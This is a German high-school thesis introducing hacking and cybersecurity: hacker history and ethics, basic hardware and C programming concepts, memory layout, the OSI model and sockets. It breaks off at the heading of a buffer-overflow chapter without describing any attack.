Kantonsschule Im Lee

Hacking und Cybersicherheit

Die Schattenseiten der digitalen Welt

Corsin Streit (4a)[1] unter Aufsicht von Thomas Graf[2]

[1]Student, Kantonsschule Im Lee, Winterthur

[2]Fachschaft Informatik, Kantonsschule Im Lee, Winterthur

Winterthur, 6. Januar 2025

Abstrakt

Das Ziel dieser Arbeit besteht darin, durch Literatur- und Onlinerecherche einen für die Allgemeinheit verständlichen Überblick über das Thema Hacking und Cybersicherheit zu schaffen. Dazu werden technische Grundlagen und Hacking-Methoden erläutert und anhand von konkreten Beispielen anschaulich dargestellt. Ferner wird auf das Thema Dark Web eingegangen.

Stichworte: Hacking, Hacking-Methoden, Cybersicherheit, Programmieren, Netzwerk

Inhaltsverzeichnis

1 Einführung

1.1 Zielsetzung

Hacking ist ein riesiges Themenfeld, dessen tiefgründiges Verständnis Kenntnisse in vielen Bereichen der Computerwissenschaften voraussetzt. Jede Person, die ein Smartphone, Laptop, Tablet, etc. benutzt, ist den Gefahren des Hackings täglich ausgesetzt, doch nur ein kleiner Teil der Benutzer weiss, was bei einer Hacking-Attacke eigentlich passiert und wie die Konsequenzen aussehen können. Ziel dieser Arbeit ist es, einen Überblick über das Thema Hacking und Cybersicherheit in einer Form zu schaffen, die für die Allgemeinheit verständlich ist. Dabei wird bewusst in erster Linie auf leicht verständliche Themenbereiche oder solche, die uns im Alltag am Meisten betreffen, eingegangen und die Detailgenauigkeit je nach Thema reduziert. Analysen von modernen Hacking-Attacken sollen dazu beitragen, weshalb eine Hacking-Methode eingesetzt wurde und das mögliche Ausmass der Konsequenzen aufzeigen. Zuletzt wird auf das Thema Dark Web eingegangen, da dies als Plattform zur Anonymisierung bei vielen Hacking-Attacken eine Rolle spielt.

1.2 Motivationserklärung

Ich bin grundsätzlich an Computern und dem Programmieren interessiert. Meistens finde ich in meinem durch Sporttrainings ausgefüllten Alltag aber keine Zeit, mich mit dieser Leidenschaft vertieft auseinanderzusetzen. Die Maturitätsarbeit schien mir eine passende Gelegenheit zur Aneignung von Wissen in einem computerbezogenen Themengebiet. Das Thema Hacking und Cybersicherheit interessiert mich besonders, da ich gerne die Limiten von Systemen ausreize und es ein Themengebiet ist, das kreatives Denken und logische Schlussfolgerungen voraussetzt und fördert.

1.3 Methodik

Es gibt viele verschiedene Methoden, sich mit dem Thema Hacking auseinanderzusetzen. Einsteigern werden oft Videokurse oder Bücher empfohlen. Die Themenbereiche, auf die sie einen Fokus setzten, sind aber sehr unterschiedlich. Ich habe mich entschieden, meine Arbeit hauptsächlich auf Literatur zu basieren und das Werk “Hacking - The Art of Exploitation” von Jon Erickson [1] als Hauptinformationsquelle zu gebrauchen. Unterstützend arbeite ich mit wissenschaftlichen Arbeiten, weiteren, weniger umfangreichen Büchern und Online-Ressourcen. Es fällt mir leichter, Informationen anhand von Geschriebenem als mit Hilfe von Videokursen zu erarbeiten. Ausserdem ist es bei Büchern tendenziell einfacher einzuschätzen, welcher Inhalt erwartet werden kann. Das Buch “Hacking - The Art of Exploitation” [1] ist relativ alt (2008), dies passt aber gut zu meiner Zielsetzung, da die Komplexität des Hackings seither exponentiell zugenommen hat und ich eine tiefgründige, verständliche Analyse einer einfachen Hacking-Attacke gegenüber einer oberflächlichen Analyse einer komplexen Attacke bevorzuge. Die Themen weisen dennoch einen Bezug zur aktuellen Zeit auf.

1.4 Quellen

Der Hauptteil des Wissens in den Kapiteln Grundlagen der Informatik (3) und Hacking: Methoden und Techniken (4) wurde mit Hilfe des Buches "Hacking - The Art of Exploitation" [1] erarbeitet. Zur besseren Übersichtlichkeit wurde deshalb die Quellenangabe dieses Buches auf eine einzelne am Anfang der Kapitel beschränkt. Explizite Zitate werden immer gekennzeichnet.

Als Recherchehilfe wurde das Programm ChatGPT (`https://chatgpt.com/`) beigezogen. Antworten wurden aber nie direkt in die Arbeit kopiert und Informationen immer anhand von unabhängigen Quellen verifiziert.

Zur Textüberarbeitung wurden die Programme ChatGPT (`https://chatgpt.com/`) und DeepL Write (`https://www.deepl.com/de/write`) verwendet. Deren Vorschläge wurden vor der Übernahme auf inhaltliche Gleichheit überprüft.

1.5 Disclaimer

Sprache Es finden sich englische Begriffe in dieser Arbeit. Da Computerwissenschaften in der westlichen Welt normalerweise in englischer Sprache praktiziert werden, existieren für einige Begriffe keine passenden deutschen Übersetzungen. In diesen Fällen wird auf die englische Form zurückgegriffen.

Gender Teilweise wird nur die männliche Form verwendet, da die Einbeziehung beider Geschlechter layouttechnisch schwierig ansprechend umzusetzen ist. Es sind jeweils alle Geschlechter gemeint.

2 Hacking: Allgemeine Informationen

Stereotypisch werden Hacker oft als Männer in schwarzen Kapuzenpullis beschrieben, die in einem abgedunkelten Raum bösartige Programme schreiben und ausführen. Die Skripte nutzen Schwachstellen anderer Software aus und richten dabei Unheil an. Die Handlungen gelten als kriminell und bestrafbar. Die Realität gestaltet sich jedoch anders: Die überwiegende Mehrheit der Hacker agiert legal und leistet positive Beiträge zur Cybersicherheit. Jon Erickson formulierte folgenden Satz: "Beim Hacken geht es eher darum, das Gesetz zu befolgen, als es zu brechen." `(Erickson, 2008, S. 1, übersetzt mit DeepL)` [1]

2.1 Bedeutung und Urpsrung des Begriffes

Im Grunde genommen ist ein "Hack" nichts mehr als eine "von Innovation, Stil und technischem Können durchdrungene" [2] Lösung zu einem Problem, das keinen Bezug zu Computern aufweisen muss. Den Ursprung nahm der Begriff im Modelleisenbahnclub des Massachusetts Institute of Technology (MIT). Aus geschenkten Elektronikbauteilen bauten die Clubmitglieder die Steuerung ihrer Modellzüge. Durch verschiedene Optimierungen, Hacks, versuchten sie, diese so elegant wie möglich zu gestalten. Das Ziel umfasste mehr als die simple Funktionalität. Wichtig war die technische Eleganz, die der Nützlichkeit übergeordnet wurde.

Mit dem Erscheinen erster Computer und der Gründung eines Computerclubs im MIT wurde die Bedeutung auf die technische Welt ausgeweitet. Als Steven Levy 1984 die Leiterprinzipen des Hackings zu einer "Hackerethik" zusammenfasste, formulierte er folgenden Satz: "Du kannst mit Computern Kunst und Schönheit schaffen." [2]

Das Negative, das viele Personen heute mit dem Hacking assoziieren, wurde erst nach und nach dem Bedeutungskonzept hinzugefügt. Nach weiteren Grundsätzen der Hackerethik sollten sich Hacker für freie Informationszugänglichkeit, Dezentralisierung und unlimitierten Zugriff auf alles, was einen etwas über die Welt lehren kann, einsetzen. Mit den gesetzlichen Richtlinien nahmen sie es nicht genau. Die Neugier, Wissensbegierde und allgemein das technische Interesse führte zur Entdeckung und Erkundung neuer "Spielwiesen" [2], was in den 1960er-Jahre zum ersten "modernen" Hack führte. Findige Hacker fanden heraus, dass sich durch das Abspielen einer ganz bestimmten Frequenz das Telefonnetz so manipulieren liess, dass Anrufe nicht verrechnet wurden. Sogar renommierte Persönlichkeiten wie die späteren Apple-Gründer Steve Jobs und Steve Wozniak beteiligten sich an dem sogenannten Blue-Boxing und verdienten Geld durch den Verkauf von Frequenzgeneratoren.

Zeitungsartikel und Filme, insbesondere der 1983 veröffentlichte Titel War Games, trugen in grossem Masse zur heutigen Auffassung des Hackers bei. Ein Hacker ist "jemand, der ohne Erlaubnis in die Computersysteme anderer Leute eindringt, um Informationen herauszufinden oder etwas Illegales zu tun." `(Cambridge University Press, Oktober 2024, übersetzt mit DeepL)` [2, 3]

2.2 Motivation, Ethik und Begriffserklärung

Die Motivationen und Ethiken, die Hacker verfolgen, fallen sehr unterschiedlich aus. Grob kann man sie in zwei Kategorien einteilen: die "Black Hats" und die "White Hats".

"Black Hat" Hacker verfolgen kriminelle Ziele, die politisch, monetär oder egoistisch motiviert sein können. Oftmals verbreiten sie Schadsoftware. Dabei ignorieren sie legale und ethische Grundsätze, weshalb sie auch als "Cracker" bezeichnet werden.

Ihre Gegenspieler sind die "White Hat" Hacker. Diese benutzen dieselben Methoden, arbeiten aber im Rahmen der Gesetze und halten sich an ethische Grundsätze. Ihre Aufgabe ist es, Privatpersonen, Firmen oder ganz allgemein gefährdete Computer vor den "Black Hats" zu schützen. Um dies zu bewerkstelligen, hacken sie sich nach vorheriger Absprache mit den Besitzern in Computersysteme ein, um mögliche Sicherheitslücken zu finden und zu beheben. Sie werden deshalb auch "Penetration Tester" genannt.

Das Resultat dieses Wettkampfes ist gewinnbringend, denn er führt zu "intelligenteren Menschen, verbesserter Sicherheit, stabilerer Software, erfinderischen Problemlösungstechniken und sogar zu einer neuen Wirtschaft." `(Erickson, 2008, S. 4, übersetzt mit DeepL)` [1]

Zwischen den beiden Extremen liegen die "Grey Hat" Hacker, die zwar oftmals illegal vorgehen, dabei aber keine negativen Absichten verfolgen. Sie hacken sich beispielsweise unberechtigt in ein Firmensystem ein, kommunizieren aber danach die gefunden Schwachstellen. [4, 5]

Ein weiterer oft verwendeter Begriff ist "Script Kiddies". Dabei handelt sich um meist junge Personen, die über keine profunden Kenntnisse im Bereich des Hackings verfügen. Sie verwenden "von anderen entwickelte Skripts oder Programme für hauptsächlich böswillige Zwecke"`(Wikipedia, Oktober 2024, übersetzt mit DeepL)` [6]. Hierdurch sind sie in der Lage, erheblichen Schaden anzurichten. [6]

3 Grundlagen der Informatik

Zum Verständnis des Kapitels Hacking: Methoden und Techniken (4) sind Grundkenntnisse im Bereich der Informatik nötig, die in diesem Kapitel erarbeitet werden.

Sofern keine andere Quelle angegeben wird, diente das Buch “Hacking - The Art of Exploitation” [1] als Hauptquelle dieses Kapitels.

3.1 Hardwaretechnische Grundlagen

Ein Computer setzt sich aus verschiedenen Bestandteilen zusammen, die im Zusammenspiel die Verarbeitung von Informationen ermöglichen. Folgende Konzepte/Komponenten sind zur Ausführung eines Programms wichtig:

3.1.1 Bits und Binärzahlen

Computer sind nur imstande, Nullen und Einsen zu speichern. Sie arbeiten also nur mit zwei Zuständen. Ein binary digit (Bit) beschreibt einen einzelnen solchen Zustand. Werden mehrere Bits zur Datenspeicherung verwendet, steigt die Anzahl möglicher Kombinationen exponentiell auf 2^n (bei $n = Anzahl\ Bits$). Zahlen werden folgendermassen gespeichert: Jede Stelle, beginnend von rechts (also der letzten Ziffer), entspricht einem Exponenten zur Basis 2, wobei der Exponent bei 0 startet. Steht bei einer Stelle eine 1, wird der entsprechende Wert zur Gesamtzahl addiert, bei 0 nicht. Die (dezimale) Zahl 21 zum Beispiel entspricht der Binärzahl `10101`, da sie sich durch (von rechts nach links) $1 \times 2^0 + 0 \times 2^1 + 1 \times 2^2 + 0 \times 2^3 + 1 \times 2^4 = 21$ zusammensetzt. Zur Konversion können Online-Rechner wie zum Beispiel `https://www.rapidtables.com/convert/number/` verwendet werden.

3.1.2 RAM (Arbeitsspeicher)

Das Random Access Memory (RAM) ist ein elektronischer Computerspeicher, dessen Daten sehr schnell und in beliebiger Reihenfolge gelesen und geändert werden können. Er wird deshalb für Daten aktuell laufender Programme verwendet. Oft wird ein Vergleich zum menschlichen Kurzzeitgedächtnis hergestellt.

Big and Little Endian Byte Order Ein Byte umfasst acht Bits. Zur Ordnung von Bytes existieren zwei Strukturen: Big und Little Endian. Big Endian speichert das wichtigste, also signifikanteste Byte zuerst, während Little Endian dieses zuletzt speichert. Das signifikanteste Byte ist dasjenige, das den grössten Einfluss auf die Gesamtzahl hat, daher normalerweise das am weitesten links stehende.

Speicheradressen Jedes Bit im RAM ist einzeln adressierbar. Heutzutage arbeiten die meisten Computer mit 32-Bit oder 64-Bit Systemen. Dies entspricht der Adresslänge der Speicheradressen und limitiert somit die Anzahl adressierbarer Bits. Bei 32-Bit ist die Ansteuerung von $2^{32} = 4\,294\,967\,296$ Bits möglich, bei 64-Bit $2^{64} = 18\,446\,744\,073\,709\,551\,616$. In der Praxis wird

dies selten ausgereizt. Einfachheitshalber erfolgt die Angabe der Speicheradresse normalerweise im hexadezimalen Format (Basis 16). Dazu werden die Zeichen 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, A, B, C, D, E und F verwendet. Ein Hexadezimalzeichen entspricht vier Bits (da $2^4 = 16^1$), eine 32-Bit Adresse setzt sich also aus acht Hexadezimalstellen zusammen. Hexadezimalzahlen werden üblicherweise mit dem Präfix "0x" angekündet. Eine 32-Bit Speicheradresse könnte folgendermassen aussehen: 0xb7ec819b. [7]

3.1.3 CPU

Die Central Processing Unit (CPU) beschreibt den wichtigsten Prozessor eines Computers. Mithilfe einer komplexen Platinenstruktur führt er, den Anweisungen eines Programms folgend, Berechnungen durch.

3.1.4 HDD/SSD

Speichermedien, wie hauptsächlich Hard Disk Drive (HDD) und Solid-State Drive (SSD), dienen der permanenten Speicherung von Daten, also auch über den Neustart eines Systems hinaus. Ihr Lese- und Schreibzugriff ist langsamer als bei RAM, die Speicherkapazität dafür meist höher. Oft wird ein Vergleich zum menschlichen Langzeitgedächtnis hergestellt.

3.2 Funktionsweise eines Programms

Hacker schreiben Code, um bereits vorhandene Programme zu ihren Zwecken zu nutzen. Ein Verständnis grundlegender Programmierkonzepte ist deshalb notwendig.

3.2.1 Einführung

"Ein Programm ist nichts anderes als eine Reihe von Anweisungen, die in einer bestimmten Sprache geschrieben sind." `(Erickson, 2008, S. 20, übersetzt mit DeepL)` [1] Es ist vergleichbar mit einem Küchenrezept. Genauso wie das Küchenrezept Menschen sagt, was sie tun sollen, sagt ein Programm dem Computer, was er zu tun hat. Im Gegensatz zu Menschen hat ein Computer aber keinen eigenen Willen und muss sich an die gegebenen Instruktionen halten. In dieser Arbeit liegt der Fokus exemplarisch auf der Programmiersprache C, da darauf basierende Hacking-Methoden beschrieben werden. Die grundlegenden Konzepte können aber auf viele Programmiersprachen übertragen werden.

3.2.2 Grundlagen

Ein Programm besteht aus verschiedenen Elementen. Die wichtigsten Elemente werden im Folgenden beschrieben:

Kontrollstrukturen Kontrollstrukturen steuern den Ablauf eines Programms.

- **If-then-else**: If-then-else-Strukturen erlauben die Ausführung eines Programmteiles nur unter bestimmten Bedingungen. Falls die Bedingung nicht erfüllt ist, wird der Programmteil übersprungen oder, wenn angegeben, ein alternativer Programmteil ausgeführt.
- **While-Schleifen**: While-Schleifen wiederholen einen bestimmten Programmteil bis zur Erfüllung einer Bedingung.
- **For-Schleifen**: For-Schleifen werden gebraucht, um einen bestimmten Programmteil eine definierte Anzahl mal zu durchlaufen.

Variablen und Konstanen Variablen und Konstanten speichern Daten. Während Variablen veränderbar sind, bleiben Konstanten über die Laufzeit eines Programms unverändert. Im Folgenden wird zur besseren Übersichtlichkeit von Variablen gesprochen, die beschriebenen Eigenschaften sind aber auf Konstanten übertragbar.

- **Datentypen**: Bei Variablen wird zwischen verschiedenen Datentypen unterschieden. Einige Programmiersprachen sind bei der Handhabung flexibel und erlauben die Veränderungen des Datentyps, während andere den Datentyp fixieren. Die folgende Liste beschreibt die wichtigsten Datentypen und deren Funktion:
  - **String**: Text (“Hello”, “World”)
  - **Int**: Ganzzahl (2, 37)
  - **Float**: Gleitkommazahl (3.1415, 2.7182)
  - **Boolean**: Wahrheitswert (True, False)
  - **Array**: Geordnete Liste mit festem Datentyp ([“lorem”, “ipsum”, “dolor”])
  - **List**: Geordnete Liste mit gemischten Datentypen ([“Hello”, True, 3.1415])
  - **Dict**: Liste mit Schlüssel-Wert-Paaren ([“Mehl”: 500, “Zitrone”: False])
- **Gültigkeitsbereich und Lebensdauer**: Variablen sind je nach Initialisierung (Erstellung) nur für bestimmte Teile eines Programms zugänglich. Wird eine Variable beispielsweise in einer Funktion initialisiert, existiert sie nur während der Funktionsausführung. Variablen besitzen folgende Gültigkeitsbereiche:
  - **Globale Variablen**: Zugänglich vom gesamten Programm
  - **Lokale Variablen**: Zugänglichkeit auf Funktion oder Programmteil limitiert
  - **Statische Variablen**: Zugänglichkeit auf Funktion limitiert, behalten jedoch Wert bei erneutem Funktionsaufruf

  Die verschiedenen Gültigkeitsbereiche führen dazu, dass gleichnamige Variablen mehrere Speicheradressen haben können.

  In einigen Programmiersprachen müssen Variablen vor der ersten Verwendung initialisiert, also angekündigt, werden.

Arithmetische Operatoren Arithmetische Operatoren werden verwendet, um mathematische Operationen durchzuführen. In C stehen die unten aufgelisteten Operatoren zur Verfügung:

- **Addition (+)**: 2 + 3 = 5
- **Subtraktion (-)**: 5 - 3 = 2
- **Multiplikation (*)**: 5 * 3 = 15
- **Division (/)**: 15 / 3 = 5
- **Modulus (%)**: 15 % 4 = 3 ((positiver) Rest der Division)
- **Inkrement (++)**: a++ = a + 1
- **Dekrement (−−)**: a−− = a - 1
- **Exponentiation (pow())**: pow(a, 3) = a^3

Manche mathematische Operationen in Gleichungen, bei denen die Ergebnisvariable gleichzeitig auch Teil der Berechnung ist, können durch Kurzschreibweisen vereinfacht werden. Zum Beispiel lässt sich $a = a + 5$ kompakter als a += 5 ausdrücken.

Vergleichsoperatoren Vergleichsoperatoren dienen dem Vergleich von Variablen oder Werten. Sie geben jeweils True oder False aus. Folgende Operatoren können verwendet werden:

- **Gleichheit (==)**: 5 == 5 → True
- **Ungleichheit (!=)**: 5 != 3 → True
- **Grösser als (>)** : 5 > 3 → True
- **Kleiner als (<)**: 5 < 3 → False
- **Grösser oder gleich (>=)**: 7 >= 5 → True
- **Kleiner oder gleich (<=)**: 8 <= 2 → False

Funktionen Funktionen dienen zur Wiederholung bestimmter Programmteile. Sie erlauben einen In- und Output. Der arithmetische Operator pow() ist beispielsweise eine Funktion. Sie erlaubt den Input von `base` und `exponent` und gibt die Potenz der beiden Zahlen zurück. Eine Potenz-Funktion für Ganzzahlen könnte so aussehen:

```
1 int pow(int base, int exponent) {
2   int result = 1; // Startwert für die Multiplikation
3   for (int i = 0; i < exponent; i++) {
4     result *= base; // Multiplikation
5   }
6   return result;
7 }
```

Dateizugriff Dateien, die permanent auf einem Speichermedium gespeichert sind, können gelesen, bearbeitet und ausgeführt werden. Ein Benutzer kann dabei nur diejenigen Operationen verwenden, deren Rechte er besitzt. Die Identifikation des Benutzers erfolgt über eine ID (beispielsweise 999).

Pseudo-Zufallszahlen Bei bestimmten Anwendungen, wie zum Beispiel der Simulation eines Wettermodells oder einem Computerspiel, werden Zufallszahlen benötigt. Computer sind nicht in der Lage, zufällige Zahlen zu generieren. Hauptsächlich wird deshalb auf zwei Alternativen zurückgegriffen: Mathematische Operationen oder unvorhersehbare Prozesse. Bei der ersten Möglichkeit werden mathematische Operationen verwendet, die zufällig aussehen. Eine bekannte Methode ist beispielsweise das Quadrieren zehnstelliger Dezimalzahlen. Vom Resultat werden die mittleren zehn Ziffern als neue Zufallszahl angesehen. Eine zweite Möglichkeit ist die Verwendung unvorhersehbarer Prozesse, wie dem atmosphärischen Rauschen. Durch deren Beobachtung werden Zahlen generiert. [10]

3.2.3 Abstraktions-Ebenen

Computer können nur mit aus Einsen und Nullen bestehender Maschinensprache umgehen. Da die Programmierung in Maschinensprache sehr aufwendig und kontraintuitiv ist, wurden verschiedene Abstraktions-Ebenen eingeführt.

Höhere Programmiersprache (High Level Language) Höhere Programmiersprache liegt nahe bei Englisch und ist, zumindest in Grundzügen, für die meisten Leute intuitiv verständlich. Normalerweise wird in höherer Programmiersprache programmiert. Das Beispiel der Potenz-Funktion oben ist in höherer Programmiersprache angegeben.

Maschinensprache (Machine Language) Maschinensprache besteht nur aus Einsen und Nullen und ist auch für die meisten professionellen Programmierer unverständlich. Der Code $x = 3 + 5$ könnte (bei Angabe im hexadezimalen Format) so aussehen:

```
1 b8 05 00 00 00
2 83 c0 03
```

Assemblersprache (Assembly Language) Assemblersprache kann als die Verbalisierung der Maschinensprache angesehen werden und wird bei sehr systemnahen Anwendungen zur Programmierung verwendet. Der Code $x = 3 + 5$ könnte in Assemblersprache so aussehen:

```
1 mov   eax, 5
2 add   eax, 3
```

Hier werden auch die in Kapitel 3.1.3 erwähnten Register ersichtlich.

Zur Übersetzung zwischen den Abstraktionsebenen dienen der Compiler und Assembler. Der Compiler transformiert höhere Programmiersprache in Maschinensprache, der Assembler Assemblersprache in Maschinensprache.

3.2.4 Ausführung

Zur Ausführung eines Programms werden Register benötigt.

Register Register sind in die CPU integrierte "Speicherbereiche für Daten, auf die der Prozessor besonders schnell zugreifen kann". [8] Sie speichern zum Beispiel den aktuellen Standpunkt der Ausführung eines Programms. Einige der wichtigsten Register sind folgende:

- **Extended Instruction Pointer (EIP)**: Befehlszeiger für die jetzige Instruktions-Adresse [9]
- **Extended Stack Pointer (ESP)**: Stapelzeiger für die vorherige Adresse [9]
- **Extended Base Pointer (EBP)**: Basiszeiger bei Funktionsaufruf, dient zur Referenzierung lokaler Variablen im Stack [9]
- **Saved Frame Pointer (SFP)**: Gesicherter Basiszeiger für das vorherige Stack Frame, dient zur Wiederherstellung des ursprünglichen Stack-Zustands [9]

Eine Erklärung des Stacks (Stapel) und Stack Frame folgt im Kapitel 3.2.5.

Ein Programm wird nach folgendem Grundprinzip durchgeführt:

1. Der Code wird kompiliert oder assembliert und als Maschinencode im RAM gespeichert.
2. Die Instruktion, zu der der EIP zeigt, wird gelesen.
3. Die Bitlänge der Instruktion wird zum EIP addiert. Der EIP zeigt also zur nächsten Instruktion.
4. Die gelesene Instruktion wird ausgeführt.
5. Neustart bei Schritt 2.

3.2.5 Speichersegmentierung in C

Die Datenanordnung im RAM folgt einer bestimmten Struktur. Bei C wird sie in fünf Segmente aufgeteilt.

- **Text Segment**: Speichert Code (in Maschinensprache), ist unveränderlich
- **Initialized Data**: Speichert initialisierte globale und statische Variablen
- **Uninitialized Data**: Speichert uninitialisierte Variablen
- **Heap Segment**: Durch den Programmierer kontrollierbar, wächst von niedrigen zu hohen Adressen [11]
- **Stack Segment**: Speichert Kontext und lokale Variablen bei Funktionsaufrufen, funktioniert nach last-in-first-out (LIFO)-Prinzip: wächst von hohen zu niedrigen Adressen und wird umgekehrt abgearbeitet [11]

Unter dem Stack werden Umgebungsvariablen und Befehlszeilenargumente gespeichert. Umgebungsvariablen enthalten Information zur Umgebung des Systems, wie beispielsweise Pfade zu ausführbaren Programmen. [12] Befehlszeilenargumente sind vom Benutzer beim Programmstart eingegebene Daten.

Stack Frame Ein Stack Frame ist "ein Abschnitt des Stacks, der einem bestimmten Funktionsaufruf gewidmet ist." `(NordVPN, Dezember 2024, übersetzt mit DeepL)`[13] Das Stack Frame der aufgerufenen Funktion wird oberhalb des Stack Frame der aktuellen Funktion erstellt und enthält alle wichtigen Informationen. Dazu gehören unter anderem Variablen, der EBP und die Rückkehradresse. Die Rückkehradresse wird benötigt, um an der richtigen Stelle zur ursprünglichen Funktion zurückzukehren.

3.3 Funktionsweise eines Netzwerks

Viele Hacking-Attacken nutzen Schwachstellen in Netzwerken aus. Für Hacker sind Netzwerk-Attacken sehr attraktiv, da sie keinen physischen Zugriff auf Infrastruktur erfordern.

3.3.1 Einführung

Ein Netzwerk ist ein "grosses System, das aus vielen ähnlichen Teilen besteht, die miteinander verbunden sind, um eine Bewegung oder Kommunikation zwischen den Teilen oder zwischen den Teilen und einem Kontrollzentrum zu ermöglichen." `(Cambridge University Press, Dezember 2024, übersetzt mit DeepL)` Prinzipiell beschreibt ein Netzwerk also die Verbindung mehrere Geräte zum Datenaustausch. Dabei existieren verschiedene Grössen von Netzwerken. Während ein lokales Netzwerk aus zwei Computern und einem Drucker bestehen kann, ist das Internet ein Netzwerk von globalem Ausmass, dass mehrere Milliarden Geräte verbindet. Anwendungen wie WhatsApp-Nachrichten oder das World Wide Web (WWW) basieren auf einer Netzwerkstruktur.

3.3.2 OSI-Modell

Das Open Systems Interconnection (OSI)-Modell standardisiert den Netzwerkverkehr und bildet damit die Grundlage zur Datenübertragung. Das Modell wurde in den 1980er-Jahren von der International Organization for Standardization (ISO) entwickelt und ist heute mehrheitlich vom Transmission Control Protocol (TCP)/Internet Protocol (IP)-Modell abgelöst. Wegen besserer Übersichtlichkeit wird es oft zu Unterrichtszwecken verwendet, weshalb in dieser Arbeit ebenfalls auf dieses Modell zurückgegriffen wird. [14]

Einführung Das OSI-Modell ist in sieben Ebenen mit jeweils spezifischen Funktionen zum Datentransport organisiert. Ebene 7 ist dabei am nächsten bei der Anwendung, während Ebene 1 am nächsten bei der physischen Hardware liegt. Vor dem Transport werden Daten bei Ebene 7 beginnend in alle Ebenen verpackt, beim Erhalt werden sie wieder entpackt. Zwischengeräte wie Router, die für die Weiterleitung der Daten zuständig sind, entpacken diese nur soweit, wie für die Weiterleitung erforderlich ist. Meist entspricht dies Ebene 3.

Daten werden immer in Datenpaketen transportiert. Diese bestehen aus einem Header und den eigentlichen Daten. Der Header enthält wichtige Informationen zum Datentransport, so zum Beispiel die Datenlänge oder die Senderadresse.

Netzwerkprotokolle Netzwerkprotokolle standardisieren die Struktur eines Datenpaketes. Sie sind für die korrekte Formatierung der Daten verantwortlich und bestimmen den Inhalt des Headers. Damit ermöglichen sie verschiedenen Geräten eine einheitliche Kommunikationsbasis. Jedem Netzwerkprotokoll ist ein Port zugewiesen. Ein Port ist eine "softwaredefinierte Nummer, die einem Netzwerkprotokoll zugeordnet ist und Kommunikation für einen bestimmten Dienst empfängt oder überträgt." [15] Die Auflistung der sieben Ebenen weiter unten bietet einige Beispiele verschiedener Netzwerkprotokolle.

Die sieben Ebenen Zusätzlich zu den Beschreibungen der sieben Ebenen werden wichtige Eigenschaften oder dazugehörige Protokolle untergeordnet angegeben.

- **1. Bitübertragung**: Verantwortlich für physische Verbindung zwischen zwei Punkten (zum Beispiel Ethernet-Kabel oder Bluetooth), überträgt einzelne Bits
- **2. Sicherung**: Zuständig für zuverlässige Übertragung der Daten inklusive Fehlerkorrektur und Flusskontrolle
  - Media Access Control (MAC)-Adressen: Hardware-Adressen, werden zur Kommunikation auf Level 2 benötigt, normalerweise (im Gegensatz zur IP-Adresse) gerätespezifisch
  - Address Resolution Protocol (ARP): Wandelt IP-Adressen (Level 3) in MAC-Adressen (Level 2) um, sendet Anfrage mit IP-Adresse an Broadcasting-Adresse eines Netzwerkes (Adresse, die alle Geräte in einem Netzwerk umfasst), Gerät mit entsprechender IP-Adresse antwortet mit seiner MAC-Adresse
- **3. Vermittlung**: Entscheidet über Pfad der Daten, kümmert sich um Fragmentierung (Aufteilung von Datenpaketen bei Überschreitung der maximalen Datenmenge).
  - IP-Adresse: Wird jedem internetfähigen Gerät zugewiesen wird, werden zur Kommunikation auf Level 3 benötigt
  - Internet Control Message Protocol (ICMP): Meldet Fehler und führt Netzdiagnosen durch; `ping`-Programm testet beispielsweise Verbindung zwischen zwei Geräten [16]
- **4. Transport**: Sorgt für Ende-zu-Ende-Kommunikation zwischen Anwendungen, hauptsächliche Verwendung von zwei Protokollen:
  - User Datagramm Protocol (UDP): Einseitiges, verbindungsloses, unzuverlässiges, aber ressourcenschonendes Protokoll, geeignet für zeitkritische Datenübertragung geeignet wie Videostreaming oder Online-Gaming

  - TCP: Zweiseitiges, verbindungsbasiertes, zuverlässiges, dafür ressourcenintensives Protokoll, geeignet für Anwendungen mit hoher Datenintegrität wie Dateiübertragungen, E-Mails oder Webinhalte

- **5. Kommunikation**: Verwaltet Verbindungen durch Erstellung, Aufrechterhaltung und Auflösung
- **6. Darstellung**: Formatiert und ver- oder entschlüsselt Daten für die Endanwendung
- **7. Anwendung**: Schnittstelle einer Anwendungen zum Netzwerk
  - Hypertext Transfer Protocol (HTTP) und Hypertext Transfer Protocol Secure (HTTPS): Kommunikationsprotokolle für das WWW. HTTPS ist im Gegensatz zu HTTP verschlüsselt. [17, 18] Die wichtigsten Anfrage-Methoden sind folgende:
    * GET: Fordert spezifische Ressource an
    * HEAD: Fordert nur Header ohne Kontext an
    * POST: Sendet Daten an Server
  - Domain Name System (DNS): Protokoll zur Umwandlung von Hostnamen wie `www.google.com` in IP-Adressen.
  - Post Office Protocol (POP3): Veraltetes Protokoll zum Senden und Empfangen von E-Mails [19]

3.3.3 Sockets

Sockets dienen als Endpunkte einer Verbindung und werden vom Betriebssystem bereitgestellt. [20] Sie operieren hauptsächlich auf OSI-Modell Level 4. Sockets werden anhand von drei Eigenschaften unterschieden:

Domain Die Domain legt fest, wie Adressen angegeben werden. Mögliche Optionen sind sind zum Beispiel IP-Version 4 (`AF_INET`) oder Bluetooth (`AF_BLUETOOTH`).

Typ Drei Typen von Sockets existieren: Stream Sockets, Datagram Sockets und Raw Sockets. Normalerweise werden Stream Sockets mit dem TCP-Protokoll benutzt, währenddessen Datagram Sockets das UDP-Protokoll verwenden. Daraus ergeben sich die jeweiligen Eigenschaften: Stream Sockets sind zuverlässig aber langsam, Datagram Sockets schnell aber unzuverlässig. Raw Sockets erlauben die Miteinbeziehung und Analyse von tiefer liegenden Netzwerkebenen.

Protokoll Das Protokoll spezifiziert, welches Netzwerkprotokoll auf Ebene 4 verwendet wird. Im Normalfall muss es nicht explizit angegeben werden, da das System standardmässig das zum Typ des Sockets passende Protokoll auswählt.

4 Hacking: Methoden und Techniken

Es existiert eine Vielzahl unterschiedlicher Hacking-Attacken, die sich auf verschiedene Bereiche eines Computersystems fokussieren. Einige erfordern physischen Zugriff auf ein System, während andere über ein Netzwerk erfolgen. Dieses Kapitel zeigt exemplarisch einige Hacking-Methoden und -Techniken auf. Die Ausführungen folgen dabei jeweils derselben Struktur: Zuerst wird die allgemeine Funktionsweise einer Attacke beschrieben, danach auf die Abwehrmechanismen eingegangen. In einigen Kapiteln findet sich ein konkretes Beispiel. Abschliessend folgt ein Kapitel mit Erklärungen bekannter Begriffe, die bis dahin noch nicht erläutert wurden.

Sofern keine andere Quelle angegeben wird, diente das Buch “Hacking - The Art of Exploitation” [1] als Hauptquelle dieses Kapitels. Einige Beispiele wurden direkt aus dem Buch übernommen. Diese sind so gekennzeichnet.

4.1 Buffer Overflow

